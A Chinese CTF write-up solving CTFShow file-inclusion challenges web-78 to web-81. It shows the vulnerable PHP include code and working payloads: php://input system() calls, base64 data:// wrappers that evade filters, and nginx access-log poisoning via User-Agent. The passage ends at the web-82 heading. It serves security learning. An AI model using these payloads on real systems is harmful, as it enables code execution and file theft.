CTFShow-文件包含篇

文件包含

web-78

此题为 【从0开始学web】系列第七十八题此系列题目从最基础开始,题目遵循循序渐进的原则

希望对学习CTF WEB的同学有所帮助

文件包含系列开始啦

  • 进入环境

image-20240717104928715

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
  • 尝试用input,修改参数
  • 传入一个php代码
1
<?php system("ls /");?>

image-20240717105418881

  • 后面发现在上一级的目录里没有flag
  • 那就试着在同级里面找一下
1
<?php system("ls ");?>

image-20240717105657901

  • 找到flag,读取
1
<?php system("cat flag.php");?>

image-20240717105734395

web-79

  • 还是查看源码

image-20240717111920018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  • file = $_GET['file']; 获取传入的文件名
  • $file = str_replace("php", "???", $file);str_replace 将文件名中的 “php” 替换为 “???”
  • include($file);然后再包含该文件。

对这个函数进行一个补充

str_replace函数

str_replace 函数是 PHP 中的一个字符串处理函数,用于在字符串中查找指定的字符或字符串,并将其替换为另一个字符或字符串

基本语法如下:

1
str_replace(mixed $search, mixed $replace, mixed $subject[, int &$count])

参数说明:

  • $search:要查找的值,可以是字符串或数组。
  • $replace:用于替换的值,可以是字符串或数组。
  • $subject:被搜索和替换的字符串或数组。
  • $count(可选):如果传入该参数,将会被填充为替换发生的次数。

返回值:

str_replace 返回替换后的字符串或数组。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 示例 1:简单的字符串替换
$original_string = "Hello, world!";
$search = "world";
$replace = "PHP";
$new_string = str_replace($search, $replace, $original_string);
echo $new_string; // 输出 "Hello, PHP!"

// 示例 2:在数组中进行替换
$original_array = ["red", "green", "blue"];
$search = "red";
$replace = "yellow";
$new_array = str_replace($search, $replace, $original_array);
print_r($new_array); // 输出 Array ( [0] => yellow [1] => green [2] => blue )

// 示例 3:计算替换发生的次数
$original_string = "one two three two one";
$search = "two";
$replace = "four";
$count = 0;
$new_string = str_replace($search, $replace, $original_string, $count);
echo $new_string; // 输出 "one four three four one"
echo $count; // 输出 2 (替换发生了两次)
?>

好了下面我们继续解决这道题

  • php被替换,就不能使用php://协议
  • 那用date协议就好了,data协议可以用base64编码
  • 基本语法:
1
?file=data://text/plain;base64,......

后面接base64编码后的payload

比如

  • <?php system("ls ");?>
  • 编码后是PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==

那么构造出来的payload就是:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==

image-20240717114644936

  • 成功ls

  • 然后我们读取flag.php

  • 用base编码的好处就在于可以绕过对flag.php的替换

  • <?php system("cat flag.php");?>

  • 编码后PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

构造payload:

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

image-20240717114538028

  • 嗯?没有回显
  • 查看源代码

image-20240717114604105

  • 拿到flag

web-80 日志包含

image-20240717194337678

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  • 这道题将php://data://都替换掉了
  • 于是换一种方式,用日志包含来执行命令

  • 通过wappalyzer查看网页的banner信息【谷歌商店下载该插件就好了】
  • 发现是nginx服务器

image-20240718125711767

nginx服务器的日志通常路径为:/var/log/nginx/access.log/var/log/nginx/error.log

本题的路径是/var/log/nginx/access.log

  • 通过file读取日志
  • 抓包后在User-Agent请求头中插入payload
  • 文件包含日志,使得代码执行
1

image-20240717194934108

1
<?php system("ls");?>
  • 然后读取flag
1
<?php system("cat fl0g.php");?>

web-81

image-20240718131925710

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

与上一题基本无异,只是增加了对:的替换

  • 仍可以采用日志包含
  • 做法与80一样

web-82